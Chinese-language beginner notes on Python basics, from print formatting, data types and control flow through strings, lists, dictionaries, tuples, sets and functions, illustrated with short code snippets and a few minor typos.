Python编程基础
0、简单介绍
解释型语言:一边编译一边运行,不需要进行编译,运行效率比较低 解释器 JavaScript-浏览器 python.exe php.exe
编译型语言:运行前需要进行编译,运行效率比较高 C .c->.exe
组合:anaconda+pycharm、python+pycharm/sublime/geany/vscode
1、注释
| 单行注释 ## |
| 多行注释 """ """ ''' ''' |
2、pycharm快捷键
| ctrl + / 快速注释(已注释的代码会取消注释) |
| ctrl + D 快速复制一行 |
| ctrl + y 快速删除一行 |
| ctrl + [ 跳转到开头 |
| ctrl + ] 跳转到结尾 |
3、打印函数
| # print函数与echo函数区别--默认\n |
| print(sep=' ', end='\n') ## 默认print函数格式 |
| print(1, end='-') |
| print('abc') |
| print(True) |
| print(1, 2, 3, sep='-') |
| print(123) |
| print(12.3) |
| print('hello world') |
| print("Hello World!") ## 完整的hello world |
4、变量
| name = 'xiao ming' |
| print(name) |
| print('标识', id(name)) ## 标识、内存地址 |
| print('类型', type(name)) |
| print('值', name) |
5、变量的多次赋值
| name = 'xiao ming' |
| print(name) |
| print(id(name)) |
| name = 'xiao hong' |
| print(name) |
| print(id(name)) ## id值发生变化 |
6、进制
| #整数可以表示二进制,八进制,十进制,十六进制,默认情况下是十进制 |
| print('十进制', 118) |
| print('十进制', 100) |
| print('二进制', 0b101010) |
| print('二进制', 0b100) |
| print('八进制', 0o144) |
| print('八进制', 0o100) |
| print('十六进制', 0x1EAC) |
| print('十六进制', 0x100) |
| print("-------------------------------------------") |
| ## 十进制转换为其他进制 |
| print(hex(100)) ## 十六进制 |
| print(oct(100)) ## 八进制 |
| print(bin(100)) ## 二进制 |
7、浮点类型
| a = 3.1415926 |
| print(a, type(a)) |
| n1 = 1.1 |
| n2 = 2.2 |
| n3 = 2.1 |
| print(n1 + n2) ## cpu算不清楚部分浮点数 |
| print(n1 + n3) |
| from decimal import Decimal ## 通过引入模块的方式使cpu算清楚部分浮点数 |
| print(Decimal('1.1') + Decimal('2.2')) |
8、布尔类型
| f1 = True |
| f2 = False |
| print(f1, type(f1)) |
| print(f2, type(f2)) |
| |
| ## 布尔值可以转换成整数计算 |
| |
| print(f1+1) ## 1+1 |
| print(f2+1) ## 0+1 |
9、字符串类型
| #四种符号的定义 |
| str1 = '阿珍爱上了阿强' |
| str2 = "阿珍爱上\n了阿强" |
| str3 = 阿珍爱上了阿强 |
| 在一个寂寞的夜晚 |
| str4 = 阿珍爱上了阿强 ##替换成双引号演示 |
| 在一个寂寞的夜晚 |
| print(str1, type(str1)) |
| print(str2, type(str2)) |
| print(str3, type(str3)) ## 变量中的引号会有自动换行效果 |
| print(str4, type(str4)) |
10、格式化输出
| # 格式符号 |
| print('%s' % '你好') |
| print('%f' % 3.1415926) ## 默认保留了6位小数 |
| print('%.3f' % 3.1415926) ## 保留了3位小数 |
| print('%f' % 1.1) ## 默认保留6位小数 |
| print('%.3f' % 1.1) ## 设置保留3位小数 |
| print('%g' % 1111.1111) ## 保留6位有效数字 |
| print('%.5g' % 1111.1111) ## 保留5位有效数字 |
| print('%e' % 100000) ## 科学记数法 |
| print('%x' % 100) ## 16进制 |
| print('%o' % 100) ## 8进制 |
| print("-------------------------------------------") |
| # format() |
| print('{} {}'.format('hello', 'world')) ## 不带任何标识的情况 |
| print('{} {}'.format('hello', 'world', '!')) ## 不带字段 |
| print('{1} {0} {1}'.format('hello', 'world')) ## 带数字编号(数字标识) |
| print('{a} {b} {a}'.format(b='hello', a='world')) ## 带关键字(字符标识) |
| c = '你好' |
| print('{1} {0}'.format(c, 'world')) ## 类占位符 |
| print("-------------------------------------------") |
| # print(f'{变量名}) |
| a = 10 |
| b = 20 |
| print(f'{a} {b}') ## 中间有几个,也占几个位 |
| print(f'我今年{a}岁了') |
| age = 10 |
| name = 'xiao ming' |
| print('我叫', name, '今年', age, '岁了', sep=' ') |
| print('我叫', name, '今年', age, '岁了', sep='-') |
| print(f'我叫{name}今年{age}岁了') |
11、转义字符
| # \n 换行 newline |
| print('hello\nworld') |
| print("-------------------------------------------") |
| # \t 水平制表符 table 四个字符一单位(四个字符四个字符的切割) |
| print("hell\toworld") |
| print("hello\tworld") |
| print("hellow\torld") |
| print("hellowo\trld") |
| print("hellowor\tld") |
| print("-------------------------------------------") |
| ## \r 将光标的位置回退到本行的开头位置 return |
| print('hello\rworld') ## 当我们正常语句hello world读取完毕时,光标会自动跳到\r后面再次读取,只显示后读部分 |
| ## \r一般的使用:显示倒计时 |
| import time |
| for i in range(10): |
| print("\r离程序退出还剩%s秒" % (9-i)) |
| time.sleep(1) |
| import time |
| for i in range(10): |
| print("\r离程序退出还剩%s秒" % (9-i), end="") ## 通过end可以取消换行效果,使倒计时更美观 |
| time.sleep(1) |
| print("-------------------------------------------") |
| ## \b 退格 backspace |
| print("hello\bworld") ## 输出hellworld |
| print("-------------------------------------------") |
| ## 输出\、'、" (\\→\ \'→' \"→") |
| print('老师说:\'大家好\'') |
| print("-------------------------------------------") |
| ## 如果不希望字符串中的转移起作用,就是可以在字符串前面加上r或者R |
| print(r'hello\nworld') |
| print(R'hel\'lo\nworld') |
12、print 输出函数
| ## print的默认参数 sep:设置连接符 end:设置结束符 |
| a = "人生苦短" |
| b = "我学python" |
| print(a, end='') ## 将末尾的默认换行取消 |
| print(b) |
| print(a, b, sep='') |
| # input("提示信息") |
| ## 注意点输入函数,它接收到的数据都是str型(字符串型) |
| name = input('Your name: ') |
| age = input('Your age: ') |
| print(f'your name is {name}, your age is {age}') |
| ## print(age + 20) ## 报错,因为数据类型不同,无法运算 |
| print(type(age)) |
14、数据类型转换
| name = 'xiao ming' |
| age = 20 |
| print(type(name), type(age)) ## 输入的值均为字符串 |
| print('我叫'+name+'今年'+str(age)+'岁') ## 字符串拼接 |
| print("-------------------------------------------") |
| ## str() 将其它类型转换成str类型 |
| a = 10 |
| b = 10.8 |
| c = 'abc' |
| d = False |
| print(str(a), str(b), str(c), str(d)) |
| print(type(str(a)), type(str(b)), type(str(c)), type(str(d))) |
| print("-------------------------------------------") |
| ## int()将其它类型转换成int类型 |
| x = '123' |
| y = 12.3 |
| print(int(x), int(y)) |
| print(type(int(x)), type(int(y))) |
| print("-------------------------------------------") |
| ## float() ## 将其它类型转换成float类型 |
| x = '123' |
| y = 12.3 |
| print(type(float(x)), type(float(y))) |
15、算数运算符
| # 算数运算符 () + - * / % ** // |
| print(4 ** 3) ## 4的3次方 |
| print(9 % 4) ## 取余 |
| print(9 // 4) ## 取商 |
16、复合赋值运算符
| # 复合赋值运算符: += -= /= *= |
| c = 0 |
| c += 1 |
| print(c) |
| a = 1 |
| a += 1 ## 等于 a = a + 1 |
| print(a) |
17、比较运算符
| # 比较运算符 == != > < >= <= |
| a = 1 |
| b = '1' |
| print(a == b) |
18、逻辑运算符
| # 逻辑运算符 与或非 and or not |
| print(1 == 2 and 2 == 2) |
| print(1 == 2 or 2 == 2) |
| print(not 1 == 1) |
分支、循环、嵌套
0、对象的布尔值
| ## 0、对象的布尔值: |
| ## 以下对象的bool值为false |
| ## false |
| ## 数值的0为false;字符串的0为True |
| ## none |
| ## 空字符串 |
| ## 空列表 |
| ## 空元组 |
| ## 空字典 |
| ## 空集合 |
| |
| print(bool(False)) |
| print(bool(0)) |
| print(bool('0')) ## 字符串0的布尔值是True |
| print(bool(0.0)) |
| print(bool(None)) |
| print(bool('')) |
| print(bool([])) |
| print(bool(())) |
| print(bool({})) |
| print(bool(set())) |
1、单分支
| money = 100 |
| a = int(input('请输入取款金额:')) |
| ## 判断余额是否充足 |
| if money >= a: |
| money = money - a |
| print('取款成功,您的余额为:', money) |
2、双分支
| 双分支 |
| if...else... |
| if 条件: |
| 条件成立执行的代码 |
| else: |
| 条件不成立执行的代码 |
| money = 100 |
| a = int(input('请输入取款金额:')) |
| ## 判断余额是否充足 |
| if money >= a: |
| money = money - a |
| print('取款成功,您的余额为:', money) |
| else: |
| print('余额不足') |
| ## ② |
| b = int(input('请输入一个整数:')) |
| if b % 2 == 0: |
| print(b, '是偶数') |
| else: |
| print(b, '是奇数') |
3、多分支
| 多分支 |
| if 条件1: |
| 条件1成立执行的代码 |
| elif 条件2: |
| 条件2成立执行的代码 |
| ...... |
| else: |
| 以上条件都不成立执行的代码 |
| s = int(input('请输入一个成绩:')) |
| if 85 <= s <= 100: |
| print('该成绩为优秀') |
| elif 70 <= s < 85: |
| print('该成绩为良好') |
| elif 60 <= s < 70: |
| print('该成绩为及格') |
| elif 0 <= s < 60: |
| print('该成绩为不及格') |
| else: |
| print('您输入的成绩不规范,请重新输入!') |
4、if嵌套
| if嵌套 |
| if 条件1: |
| 条件1成立执行的代码 |
| if 条件2: |
| 条件2成立执行的代码 |
| |
| ## ① |
| b = int(input('请输入一个整数:')) |
| if b % 2 == 0: |
| if b % 3 == 0: |
| print(b, '既是2的倍数,也是3的倍数') |
| ## ② |
| a = input('请问您是会员吗? yes/no ') |
| money = float(input('请问您的购物金额:')) |
| if a == 'yes': |
| if money >= 200: |
| print('您的付款金额为:', money * 0.8) |
| else: |
| print('由于您的购物金额过小,没有打折,您的付款金额为:', money) |
| elif a == 'no': |
| print('您的付款金额为:', money) |
| else: |
| print('您的输入有误,请重新输入!') |
5、条件运算式
| x = int(input('请输入第一个数字')) |
| y = int(input('请输入第二个数字')) |
| ## print('第一个数大于第二个数') if x > y else print('第一个数小于等于第二个数') ## if成立执行前边,if不成立执行后边 |
| print('第一个数大于第二个数') if x > y else print('第一个数小于第二个数') if x < y else print('第一个数等于第二个数') |
| ## 上一句解析:第一个判断print('第一个数大于第二个数');第二个判断print('第一个数小于第二个数') if x < y else print('第一个数等于第二个数') |
6、pass语句
| ## pass语句:什么都不做,只是一个占位符,用在需要写语句的地方 |
| a = 1 |
| if a == 1: |
| pass |
| else: |
| pass |
7、range()函数
| ## range():用于生成一个整数序列,类似于列表,但又不是列表 |
| ## range的区间是左闭右开 |
| ## range(start, stop, step) |
| ## range(stop) |
| ## range(start, stop) |
| r = range(10) ## range(0,10) range(0,10,1) 步长默认是1 |
| print(r) |
| print(type(r)) |
| print(id(r)) |
| print(list(r)) |
| print("---------------------------------------") |
| print(list(range(10))) ## 默认start=0 |
| print("---------------------------------------") |
| r = range(2, 10) |
| print(list(r)) |
| print("---------------------------------------") |
| r = range(2, 10, 2) |
| print(list(r)) |
8、in/not in
| ## in/not in |
| ## 指定判断的值是否在序列中 |
| |
| r = range(10) |
| print(2 in r) |
| print(10 not in r) |
9、for循环
| 循环结构:while和for |
| for循环:用来遍历可迭代对象(列表、元组、集合、字典、字符串) |
| for 临时变量 in 可迭代对象: |
| 执行的代码 |
| ...... |
| for a in 'PYTHON': ## a起到临时变量的作用 |
| print(a) |
| print("---------------------------------------") |
| for b in range(10): |
| print(b) |
| print("---------------------------------------") |
| for _ in range(5): ## 如果在循环体中不需要用到自定义变量,可以将自定义变量写为 |
| print('人生苦短,我学python') |
| print("---------------------------------------") |
| ## 计算0-100的偶数和 |
| sum = 0 |
| for i in range(1, 101): |
| if i % 2 == 0: |
| sum = sum+i |
| print("1-100的偶数和为", sum) |
10、while 语句
| while 语句 |
| while 条件: |
| 条件成立执行的代码 |
| ...... |
| 条件: |
| 1、初始化变量 |
| 2、条件判断 |
| 3、改变变量 |
| ## ① |
| a = 1 |
| while a < 10: |
| print(a) |
| a = a + 1 |
| print("---------------------------------------") |
| ## ② |
| ## 计算1-100的偶数和 |
| x = 1 |
| sum = 0 |
| while x <= 100: |
| if x % 2 == 0: |
| sum = sum + x |
| else: |
| pass |
| x = x + 1 |
| print('1-100偶数和为', sum) |
11、break与continue
| break和continue是循环中满足一定条件退出循环的两种不同方式 |
| break:退出循环 |
| continue:跳出当前循环 |
| ## ① |
| for i in range(3): |
| pwd = input('请输入密码:') |
| if pwd == 'password': |
| print('密码正确') |
| break ## continue |
| else: |
| print('密码不正确,你还有'+str(2-i)+'次机会') |
| print("---------------------------------------") |
| ## ② |
| a = 0 |
| while a < 3: |
| pwd = input('请输入密码:') |
| if pwd == 'password': |
| print('密码正确') |
| break |
| else: |
| a = a + 1 |
| print('密码不正确,你还有'+str(3-a)+'次机会') |
12、else语句
| else:在while和for循环中,没有碰到break时执行else |
| for ...: |
| ... |
| else: |
| ... |
| ## else:在while和for循环中,没有碰到break时执行else |
| ## ① |
| for i in range(3): |
| pwd = input('请输入密码:') |
| if pwd == 'password': |
| print('密码正确') |
| break ## continue |
| else: |
| print('密码不正确,你还有'+str(2-i)+'次机会') |
| else: |
| print('对不起,三次密码均输入错误,账号锁定十分钟') |
| print("---------------------------------------") |
| ## ② |
| a = 0 |
| while a < 3: |
| pwd = input('请输入密码:') |
| if pwd == 'password': |
| print('密码正确') |
| break |
| else: |
| a = a + 1 |
| print('密码不正确,你还有'+str(3-a)+'次机会') |
| else: |
| print('对不起,三次密码均输入错误,账号锁定十分钟') |
13、循环嵌套
| ## 输出3X4的* |
| for i in range(3): |
| for j in range(4): |
| print('*', end=' ') |
| print() ## 为了换行 |
| print("---------------------------------------") |
| ## 输出直角三角形 |
| for i in range(1, 10): |
| for j in range(1, i+1): |
| print('*', end='') |
| print() |
| print("---------------------------------------") |
| ## 九九乘法表 |
| for i in range(1, 10): ## [1,9] |
| for j in range(1, i + 1): |
| print(i, 'X', j, '=', i * j, end=' ') |
| print() |
字符串、列表、字典
0、字符串
| # 下标,索引 |
| a = '人生苦短,我学python' |
| print(a[5]) |
| print(a[0]) |
| print(a[-1]) |
| print("---------------------------------------") |
| # 切片:是指对操作的对象截取其中一部分的操作。字符串、列表、元组都支持切片操作 |
| # 变量名[start:end:step] 左闭右开 |
| print(a[0:4]) # 输出第1-4个字符 |
| print(a[3:]) # 输出第4个字符之后的内容 |
| print(a[0::2]) # 从第1个字符开始,每2个字符取1个 |
| print(a[-6:-1]) |
| print(a[8::-2]) |
| print(a[::-1]) |
1、字符串的查询
| # 寻找字符串 find() index() rfind() rindex() |
| x = "hello world! hello world!" |
| # find()-方法 从左往右查找字符串 字符串.find(子串,开始位置下标,结束位置下标) |
| print(x.find('e')) |
| print(x.find('e', 10, 20)) |
| print(x.find('s', 10, 20)) # 找不到,-1 |
| print("---------------------------------------") |
| # rfind()和find()功能相同,但rfind()寻找方向从右侧开始 |
| print(x.rfind('e')) |
| print("---------------------------------------") |
| # index功能与find类似,但是找不到字符串的时候会报错 字符串.index(子串,开始位置下标,结束位置下标) |
| print(x.index('o')) |
| # print(x.index('z')) # 找不到,报错 |
| print("---------------------------------------") |
| # rindex()和index()功能相同,但寻找方向从右侧开始 |
| print(x.rindex('h')) |
| # print(x.rindex('z')) # 找不到,报错 |
| print("---------------------------------------") |
| # count():返回某个子串在字符串中出现的次数 |
| print(x.count('h')) |
2、字符串的修改
| # 修改字符串 |
| x = "hello world! hello world!" |
| # replace:替换 |
| # 字符串.replace(旧子串,新的字符串,替换次数) |
| print(x.replace('hello', 'nihao')) |
| print(x.replace('hello', 'nihao', 3)) |
| print("---------------------------------------") |
| # split():按照指定字符切割字符串 -->形成列表 |
| # 字符串序列.split(分割字符,num) |
| print(x.split(' ')) |
| print(x.split(' ', 1)) # 切1次,中间只有1个逗号 |
| print("---------------------------------------") |
| # join():用一个字符或子串合并成字符串,即是将多个字符串合并成为一个新的字符串 |
| # '指定的符号'.join(指定合并的字符,要求是可迭代对象) |
| a = '123' |
| b = 'abc' |
| print('-'.join(a)) # 以字符串形式 |
| print('-'.join([a, b])) # 以列表的形式 |
| print('-'.join((a, b))) # 以元组的形式 |
| print("---------------------------------------") |
| # capitalize():将字符串第一个字符转换成大写 |
| print(x.capitalize()) |
| print("---------------------------------------") |
| # title():将字符串中每个单词首字母转换成大写 |
| print(x.title()) |
| print("---------------------------------------") |
| # lower():将字符串中所有大写转换成小写 |
| print(x.lower()) |
| print("---------------------------------------") |
| # upper():将字符串中所有小写转换成大写 |
| print(x.upper()) |
| print("---------------------------------------") |
| # lstrip()删除字符串左边的空白字符 |
| print(x.lstrip()) |
| print("---------------------------------------") |
| # rstrip()删除字符串右边的空白字符 |
| print(x.rstrip()) |
| print("---------------------------------------") |
| # strip()删除字符串两边的空白字符 |
| print(x.strip()) |
| print("---------------------------------------") |
| # 字符串填充:ljust() rjust() center() |
| # 字符串.just(长度, 填充字符) |
| print(x.ljust(100)) |
| print(x.ljust(100), '*') # 最后一个填充 |
| print(x.rjust(100, '*')) |
| print(x.center(100, '*')) |
3、字符串位置判断
| # 字符串位置判断 |
| x = "hello world! hello world!" |
| # startswith:检查字符串是否以指定子串开头,如果是则true,否则返回false |
| print(x.startswith('hel')) |
| print(x.startswith('el')) |
| print("---------------------------------------") |
| # endswith:检查字符串是否以指定子串结尾,如果是则true,否则返回false |
| print(x.endswith('!')) |
| print("---------------------------------------") |
| # 如果字符串全部都是字母,则返回true,否则返回false |
| print(x.isalpha()) |
| print("---------------------------------------") |
| # 如果字符串全部都是数字,则返回true |
| print(x.isdigit()) |
| print("---------------------------------------") |
| # 如果字符串只包含数字或字母,则返回true |
| print(x.isalnum()) |
| print("---------------------------------------") |
| # isspace() 判断字符串中只包含空白 |
| print(x.isspace()) |
4、列表
| # 列表:列表, 字符串、 元组。。。 |
| # 格式:[数据1,数据2,数据3] |
| # 列表的作用是一次性存储多个数据 |
| # 列表的创建 |
| li1 = ['hello', 'word', 98] |
| print(li1) |
| li2 = list((1, 2, 3)) |
| print(li2) |
| print("---------------------------------------") |
| # 列表索引 |
| print(li1[0]) |
| print(li1[1]) |
| li1[0] = 123 # 通过索引修改值 |
| print(li1) |
| print("---------------------------------------") |
| # index():在列表中寻找所查询的内容 如果查找的数据不存在,会报错 |
| # 列表.index(查询的内容,start,end) |
| print(li1.index("word")) |
| print("---------------------------------------") |
| # 列表的分片 |
| li3 = [10, 20, 30, 40, 50, 60, 70, 80] |
| li4 = li3[1:5:1] # list(start:end:step) |
| print(li4) |
| print(li3[::2]) |
| print(li3[::-1]) # 逆序取数 |
| print("---------------------------------------") |
| # 列表元素的判断和遍历 |
| li3 = [10, 20, 30, 40, 50, 60, 70, 80] |
| a = 10 |
| b = 20 |
| if a in li3: |
| print('a在列表中存在') |
| else: |
| print('a不在列表中') |
| if b not in li3: |
| print('b不在列表中') |
| else: |
| print('b存在列表中') |
5、列表元素的添加操作
| # 列表元素的添加操作 |
| # append()向列表末尾添加一个元素 |
| li5 = [10, 20, 30] |
| print('添加元素前', li5, id(li5)) |
| li5.append(40) |
| print('添加元素之后', li5, id(li5)) |
| print("---------------------------------------") |
| # extend()向列表末尾添加多个元素 |
| li5 = [10, 20, 30] |
| li6 = ['hello', 'word'] |
| li5.extend([123, 456]) |
| print(li5) |
| li5.extend(li6) |
| print(li5) |
| print("---------------------------------------") |
| # insert() 在任意位置上添加一个元素 list.insert(索引,元素) |
| li5 = [10, 20, 30] |
| li5.insert(1, 40) |
| print(li5) |
6、列表元素的删除操作
| # 列表元素的删除操作 |
| # remove() 一次删除一个元素,重复元素只删除第一个 |
| li5 = [10, 20, 30, 40] |
| li5.remove(30) |
| print(li5) |
| # print(li5.remove(100)) # 如果删除不存在的元素,会报错 |
| print("---------------------------------------") |
| # pop()删除一个指定索引位置上的元素;不指定索引,删除列表中最后一个元素 |
| li5 = [10, 20, 30, 40] |
| li5.pop(1) |
| print(li5) |
| li5.pop() |
| print(li5) |
| print("---------------------------------------") |
| # 切片 |
| li5 = [10, 20, 30, 40] |
| li5[1:3] = [] #左闭右开 |
| print(li5) |
| print("---------------------------------------") |
| # clear() 清楚列表中所有元素 |
| li5 = [10, 20, 30, 30] |
| li5.clear() |
| print(li5) |
| print("---------------------------------------") |
| # del语句 将列表对象删除 |
| li5 = [10, 20] |
| print(li5) |
| del li5 |
| # print(li5) # li5被删除 |
7、列表元素的修改操作
| # 列表元素的修改操作 |
| li = [10, 20, 30, 10] |
| print(li) |
| li[0] = 20 |
| print(li) |
| print("---------------------------------------") |
| # 切片修改 |
| li[1:3] = [100, 200] # 还是一样,左闭右开 |
| print(li) |
8、列表元素的排序操作
| # 列表元素的排序操作 |
| li = [10, 20, 30, 10] |
| # 调用列表的sort方法,默认升序,在原有的列表基础上,不会新建一个列表 |
| li.sort() |
| print(li) |
| li.sort(reverse=True) # 降序排序 |
| print(li) |
| print("---------------------------------------") |
| # sorted函数,默认升序排序,将会生成一个新的列表 |
| li = [10, 20, 30, 10] |
| li2 = sorted(li) |
| print(li2) |
| li3 = sorted(li, reverse=True) # 降序排序 |
| print(li3) |
| print("---------------------------------------") |
9、列表生成式
| # 列表生成式——快速生成列表 |
| li = [i for i in range(1, 10)] |
| print(li) |
| print("---------------------------------------") |
| li1 = [i * i for i in range(1, 10)] |
| print(li1) |
10、字典
| 字典:与列表一样是一个可变序列,以键值对的方式存储数据,字典是一个无序序列 |
| dic = {'key1':value1, 'key2':value2 ......} |
| # 字典的创建 |
| # 使用{}创建字典 |
| scores = {'张三':100, '李四':80, '王五':55} |
| print(scores) |
| print(type(scores)) |
| print("---------------------------------------") |
| # 使用dict()创建字典 |
| student = dict(name='age', age=20) |
| print(student) |
| print("---------------------------------------") |
| # 空字典 |
| a = {} |
| b = dict() |
| print(a, b) |
11、获取字典元素
| scores = {'张三': 100, '李四': 80, '王五': 55} |
| # 第一种方式,使用[] |
| print(scores['张三']) |
| # print(scores['陈六']) # 找不到指会报错 |
| print("---------------------------------------") |
| # 第二章方法,使用get() |
| print(scores.get('张三')) |
| print(scores.get('陈六')) # None |
| print(scores.get('陈六', '找不到')) # 当找不到对应的值,会输出后面的字符串 |
12、字典的增、删、改、判断
| scores = {'张三': 100, '李四': 80, '王五': 55} |
| # 字典的删除 |
| del scores['张三'] # 删除指定的键值对 |
| print(scores) |
| scores.clear() # 清空所有元素 |
| print(scores) |
| print("---------------------------------------") |
| # 字典的新增 |
| scores['陈六'] = 77 |
| print(scores) |
| print("---------------------------------------") |
| # 字典的修改 |
| scores['陈六'] = 66 |
| print(scores) |
| print("---------------------------------------") |
| # key的判断 |
| print('陈六' in scores) |
| print('abc' in scores) |
13、获取字典的视图
| scores = {'张三': 100, '李四': 80, '王五': 55} |
| # 获取所有的key |
| keys = scores.keys() |
| print(keys) |
| print(type(keys)) |
| print(list(keys)) |
| print("---------------------------------------") |
| # 获取所有的值 |
| values = scores.values() |
| print(values) |
| print(type(values)) |
| print(list(values)) |
| print("---------------------------------------") |
| # 获取所有的键值对 |
| items = scores.items() |
| print(items) |
| print(type(items)) |
| print(list(items)) # 转换之后的列表元素是由元组组成 |
14、字典元素的遍历
| scores = {'张三': 100, '李四': 80, '王五': 55} |
| for item in scores: |
| print(item) # item代表字典的键 |
| print(scores[item]) # 输出字典元素的值 |
15、字典生成式
| item = ['张三', '李四', '王五'] |
| num = [95, 88, 70] |
| print(zip(item, num)) # 将上边两个列表进行压缩 |
| d = {item: num for item, num in zip(item, num)} |
| print(d) |
16、字典的特点
| 字典中所有的元素都是一个key-value对,值可以重复,键不可以 |
| 字典中的元素都是无序的 |
| 字典中的key必须是不可变对象 |
| 字典可以根据需要动态地伸缩 |
| 字典都会浪费较大的内存空间,是一种用空间换时间的数据结构 |
元组、集合、函数
1、元组
| 格式:(数据1,数据2,数据3......) |
| |
| 一个元组可以存储多个数据,元组内的数据是不能修改的(不可变序列) |
| # 可通过id查看地址来观察这个东西是否为可变序列还是不可变序列 |
| |
| # 可变序列 字典、列表 |
| list1 = [10, 20, 30] |
| print(id(list1)) |
| list1.append(40) |
| print(id(list1)) |
| |
| # 不可变序列 字符串、元组 |
| s = 'hello' |
| print(id(s)) |
| s = s + 'world' |
| print(id(s)) |
2、元组的创建方式
| ## 第一种,直接使用()创建 |
| t = (10, [20, 30], 40) |
| print(t) |
| print(type(t)) |
| print(t[0], type(t[0]), id(t[0])) |
| print(t[1], type(t[1]), id(t[1])) |
| print(t[2], type(t[2]), id(t[2])) |
| print("---------------------------------------") |
| |
| t2 = 'python', 'world', 90 ## 小括号可以省略 |
| print(t2) |
| print(type(t2)) |
| print("---------------------------------------") |
| t3 = (10,) ## 当元组当中只有一个数据时,其后要加逗号结尾;否则会有歧义会认为是数字类型 |
| print(t3) |
| print(type(t3)) |
| print("---------------------------------------") |
| |
| ## 第二种,使用内置函数tuple() |
| t4 = tuple(range(5)) |
| print(t4) |
| print(type(t4)) |
| print("---------------------------------------") |
| |
| ## 空元组 |
| t5 = () |
| t6 = tuple() |
| print(t5) |
| print(t6) |
| print("---------------------------------------") |
3、元组的不可变序列特性
| t = (10, [20, 30], 40) |
| print(t[1]) |
| print(t) |
| print(id(t)) |
| print("---------------------------------------") |
| ## t[0] = 20 ## 会有提示,我们无法通过此方法对元组进行修改 |
| t[1].append(60) |
| print(t) |
| print(id(t)) |
4、元组的输出
| ## 使用索引 |
| t = ('Python', 'world', 90) |
| print(t[0]) |
| print("---------------------------------------") |
| ## 遍历元组 |
| for item in t: |
| print(item) |
5、集合
| 集合: |
| 创建集合使用{}或者set() |
| 创建空集合只能使用set() |
| 特点: |
| 1、集合会去除重复的数据 |
| 2、集合的数据是无序的,故不支持下标 |
6、集合的创建方式
| ## 使用{} |
| s = {1, 2, 3, 4, 5, 6, 7, 7} |
| print(s) ## 集合会去除重复部分 |
| print("---------------------------------------") |
| ## 使用set() |
| s1 = set(range(5)) |
| print(s1) |
| s2 = set([1, 2, 3, ]) ## 会有警告,该方法可直接将函数调用替换为集合文字。推荐使用 s2 = {1, 2, 3} |
| print(s2) |
| print("---------------------------------------") |
| ## 创建空集合 |
| s5 = set() |
| print(s5, type(s5)) |
| s5 = {} |
| print(s5, type(s5)) ## 此方法无法创建元组,会变成字典 |
7、集合中元素的相关操作
| s = {1, 2, 3, 4, 5, 6, 7, 7} |
| ## 元素判断 |
| print(1 in s) |
| print(10 in s) |
| print("---------------------------------------") |
| ## 元素添加 |
| s.add(90) ## add一次性只能添加一个数据 |
| print(s) |
| s.update({10, 20}) ## update允许一次性添加多个数据 |
| print(s) |
| print("---------------------------------------") |
| ## 元素删除 |
| s.remove(1) ## 指定删除1这个元素 |
| print(s) |
| ## s.remove(100) ## 用remove删除,指定的元素不在集合中会报错 |
| s.discard(4) ## 指定删除4这个元素 |
| print(s) |
| s.discard(100) ## 用discard删除,指定的元素不在集合中会报错 |
| s.pop() ## 随机删除一个元素 |
| print(s) |
| s.clear() ## 清空集合 |
| print(s) |
8、集合的数学操作
| ## 交集 |
| s1 = set(range(5)) |
| print(s1) |
| s2 = set(range(6)) |
| print(s2) |
| print(s1.intersection(s2)) ## 取交集写法 |
| print(s1 & s2) ## 取交集写法 |
| print("---------------------------------------") |
| ## 并集 |
| print(s1.union(s2)) |
| print(s1 | s2) |
| ## 等差 |
| ... |
| ## 对称差集 |
| ... |
9、集合生成式及应用
| s3 = {i for i in range(10)} |
| print(s3) |
| s4 = {i*i for i in range(10)} |
| print(s4) |
| print("---------------------------------------") |
| ''' |
| 集合生成式的应用 |
| 作用:快速创建连续的可迭代对象 |
| ''' |
| url = 'http://www.yucedu.com/novle_' |
| print([url+f'{i}.html' for i in range(0, 10)]) |
10、函数
| 函数的作用:封装代码,高效的代码重用 |
| def 函数名(参数): |
| 代码1 |
| 代码2 |
| .... |
| ## 没有返回值 |
| def hanshu(): |
| print('人生苦短') |
| print('我学python') |
| hanshu() |
| print("---------------------------------------") |
| ## 有返回值 |
| def hanshu1(): |
| a = 1 |
| return a |
| print(hanshu1()) |
| print("---------------------------------------") |
| ## 函数的参数传递 |
| def calc(a, b): ## a,b称为形式参数,简称形参,形参的位置是在函数的定义处 |
| c = a / b |
| return c |
| result = calc(10, 20) ## 10, 20称为实际参数的值,简称实参,实参的位置是在函数的调用处 |
| print(result) |
| print(calc(b=10, a=20)) ## =左侧的变量的名称称为关键字参数(修改参数位置) |
| print("---------------------------------------") |
| def fun(arg1, arg2): |
| print('arg1=', arg1) |
| print('arg2=', arg2) |
| arg1 = 100 |
| arg2.append(10) ## append直接将数据加入到列表当中,内存地址不会变化 |
| print('arg1=', arg1) |
| print('arg2=', arg2) |
| n1 = 11 ## 标量 |
| n2 = [22, 33, 44] ## 列表 |
| print('n1=', n1) |
| print('n2=', n2) |
| fun(n1, n2) |
| print('n1=', n1) |
| print('n2=', n2) |
| ''' |
| 总结、补充: |
| 在函数调用过程中,进行参数的传递 |
| 如果是不可变对象,在函数体的修改不会影响到实参的值 |
| 如果是可变对象,在函数体的修改会影响很多实参的值 |
| ''' |
| def fun(num): |
| a = [] |
| b = [] |
| for i in num: |
| if i % 2: ## 奇数 |
| a.append(i) |
| else: ## 偶数 |
| b.append(i) |
| return a, b |
| li = list(range(30)) |
| print(fun(li)) |
11、函数的定义及返回值
| 函数的返回值 |
| 1、如果函数没有返回值 return可以省略不写 |
| 2、函数的返回值,如果是1个,直接返回原本的类型 |
| 3、函数的返回值,如果是多个,返回的结果是元组 |
| def fun(): |
| return 'hello', 'world' |
| print(fun()) ## 返回的结果是元组的形式 |
| print("---------------------------------------") |
| ## 函数设置默认值参数 |
| def fun(a, b=10): |
| print(a, b) |
| fun(100) ## a为100 |
| fun(20, 30) ## 默认值b会被消除 |
| print("---------------------------------------") |
| def fun(*args): ## 函数定义时,个数可变的未知参数(一个星号只可以匹配值) |
| print(args) |
| print(args[0]) |
| fun(10) |
| fun(10, 20) |
| fun(10, 20, 30, 1234) |
| print("---------------------------------------") |
| def fun1(**args): ## 函数定义时,个数可变的关键字参数(两个星号可以匹配键值对) |
| print(args) |
| fun1(a=10) |
12、变量作用域
| def fun(a, b): ## 因为c是函数体内定义的变量; ab是函数的形参,作用范围都是只在函数内部,相当于局部变量 |
| c = a + b |
| print(c) |
| fun(10, 20) |
| ## print(c) ## 因为c是函数体内定义的变量,相当于局部变量,直接输出会报错 |
| print("---------------------------------------") |
| a = 'abc' ## a的作用范围为函数内外部都可以使用,称为全局变量 |
| print(a) |
| def fun1(): |
| print(a) |
